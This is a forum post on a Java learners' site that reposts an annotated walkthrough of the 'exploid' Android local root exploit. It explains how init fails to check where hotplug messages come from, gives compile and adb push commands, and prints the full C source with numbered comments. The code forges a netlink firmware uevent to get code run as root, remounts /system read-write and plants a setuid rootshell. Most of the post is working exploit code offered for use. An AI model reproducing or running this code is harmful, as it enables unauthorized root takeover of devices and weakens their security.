Java学习者论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

手机号码,快捷登录

恭喜Java学习者论坛(https://www.javaxxz.com)已经为数万Java学习者服务超过8年了!积累会员资料超过10000G+
成为本站VIP会员,下载本站10000G+会员资源,购买链接:点击进入购买VIP会员
JAVA高级面试进阶视频教程Java架构师系统进阶VIP课程

分布式高可用全栈开发微服务教程

Go语言视频零基础入门到精通

Java架构师3期(课件+源码)

Java开发全终端实战租房项目视频教程

SpringBoot2.X入门到高级使用教程

大数据培训第六期全套视频教程

深度学习(CNN RNN GAN)算法原理

Java亿级流量电商系统视频教程

互联网架构师视频教程

年薪50万Spark2.0从入门到精通

年薪50万!人工智能学习路线教程

年薪50万!大数据从入门到精通学习路线年薪50万!机器学习入门到精通视频教程
仿小米商城类app和小程序视频教程深度学习数据分析基础到实战最新黑马javaEE2.1就业课程从 0到JVM实战高手教程 MySQL入门到精通教程
查看: 645|回复: 0

开发交流:Android root源代码剖析--基于CVE - 2010 - EASY

[复制链接]

该用户从未签到

发表于 2011-10-24 10:49:02 | 显示全部楼层 |阅读模式
转载自:http://hi.baidu.com/androidhacker/blog/item/58581da8e3080391471064f1.html       转载请注明出处
       linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。

程序执行的顺序用(1)序号标明了。

通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具

通过arm-none-eabi-gcc exploid.c -static -o exploid 编译

adb push exploid /data/local/tmp 目录中执行即可root

输出为:
Android local root exploid (C) The Android Exploid Crew
[+] Using basedir=/data/local/tmp, path=/data/local/tmp/exploid_test
[+] opening NETLINK_KOBJECT_UEVENT socket
Try to invoke hotplug now, clicking at the wireless
settings, plugin USB key etc.
You succeeded if you find /system/bin/rootshell.
GUI might hang/restart meanwhile so be patient.
#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <linux/netlink.h>

#include <fcntl.h>

#include <errno.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/stat.h>

#include <signal.h>

#include <sys/mount.h>









int main(int argc, char **argv, char **env)

{

        char buf[512], path[512];

        int ofd;

        struct sockaddr_nl snl;

        struct iovec iov = {buf, sizeof(buf)};

        //(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送

        struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};

        int sock;

        char *basedir = NULL;





        /* I hope there is no LD_ bug in androids rtld */

        //(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell

        if (geteuid() == 0 && getuid() != 0)

                rootshell(env);



    //(2)获取程序的路径,为/data/local/tmp/exploid

        if (readlink("/proc/self/exe", path, sizeof(path)) < 0)

                die("[-] readlink");



        if (geteuid() == 0) {

        //(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限

                clear_hotplug();

                /* remount /system rw */

               

                //(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性

                remount_system("/system");

                if (copy(path, "/system/bin/rootshell") != 0)

                        chmod("/system/bin/sh", 04755);

                else

                        chmod("/system/bin/rootshell", 04711);

                for (;;)

                        sleep(3);

        }



        printf("
  • Android local root exploid (C) The Android Exploid Crew\n");

        //(3)改变工作目录,没有root权限,只可以在少数目录执行

            basedir = "/sqlite_stmt_journals";

            if (chdir(basedir) < 0) {

                    basedir = "/data/local/tmp";

                    if (chdir(basedir) < 0)

                            basedir = strdup(getcwd(buf, sizeof(buf)));

            }

            printf("[+] Using basedir=%s, path=%s\n", basedir, path);

            printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");



            memset(&snl, 0, sizeof(snl));

            snl.nl_pid = 1;

            snl.nl_family = AF_NETLINK;

            

        //(4)构建一个NETLINK的套接字

            if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)

                    die("[-] socket");



        //(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid

            close(creat("loading", 0666));

            if ((ofd = creat("hotplug", 0644)) < 0)

                    die("[-] creat");

            if (write(ofd, path , strlen(path)) < 0)

                    die("[-] write");

            close(ofd);

            

            //(6)建立一个data文件,为指向系统的hotplug的符号链接

            symlink("/proc/sys/kernel/hotplug", "data");

            

            //(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug

            snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"

                     "SUBSYSTEM=firmware%c"

                     "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);

            printf("[+] sending add message ...\n");

            

            //(8)发送该信息

            if (sendmsg(sock, &msg, 0) < 0)

                    die("[-] sendmsg");

            close(sock);

            printf("
  • Try to invoke hotplug now, clicking at the wireless\n"

                   "
  • settings, plugin USB key etc.\n"

                   "
  • You succeeded if you find /system/bin/rootshell.\n"

                   "
  • GUI might hang/restart meanwhile so be patient.\n");

            sleep(3);

            return 0;

    }



    void die(const char *msg)

    {

            perror(msg);

            exit(errno);

    }





    int copy(const char *from, const char *to)

    {

            int fd1, fd2;

            char buf[0x1000];

            int r = 0;



            if ((fd1 = open(from, O_RDONLY)) < 0)

                    return -1;

            if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {

                    close(fd1);

                    return -1;

            }



            for (;;) {

                    r = read(fd1, buf, sizeof(buf));

                    if (r <= 0)

                            break;

                    if (write(fd2, buf, r) != r)

                            break;

            }



            close(fd1);

            close(fd2);

            sync(); sync();

            return r;

    }





    void clear_hotplug()

    {

            int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);

            write(ofd, "", 1);

            close(ofd);

    }





    void rootshell(char **env)

    {

            char *sh[] = {"/system/bin/sh", 0};



            // AID_SHELL

            if (getuid() != 2000)

                    die("[-] Permission denied.");



            setuid(0); setgid(0);

            execve(*sh, sh, env);

            die("[-] execve");

    }





    int remount_system(const char *mntpoint)

    {

            FILE *f = NULL;

            int found = 0;

            char buf[1024], *dev = NULL, *fstype = NULL;



            if ((f = fopen("/proc/mounts", "r")) == NULL)

                    return -1;



            memset(buf, 0, sizeof(buf));

            for (;!feof(f);) {

                    if (fgets(buf, sizeof(buf), f) == NULL)

                            break;

                    if (strstr(buf, mntpoint)) {

                            found = 1;

                            break;

                    }

            }

            fclose(f);

            if (!found)

                    return -1;

            if ((dev = strtok(buf, " \t")) == NULL)

                    return -1;

            if (strtok(NULL, " \t") == NULL)

                    return -1;

            if ((fstype = strtok(NULL, " \t")) == NULL)

                    return -1;

            return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);

    }
    复制代码
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|手机版|Java学习者论坛 ( 声明:本站资料整理自互联网,用于Java学习者交流学习使用,对资料版权不负任何法律责任,若有侵权请及时联系客服屏蔽删除 )

    GMT+8, 2025-1-11 07:38 , Processed in 0.335578 second(s), 34 queries .

    Powered by Discuz! X3.4

    © 2001-2017 Comsenz Inc.

    快速回复 返回顶部 返回列表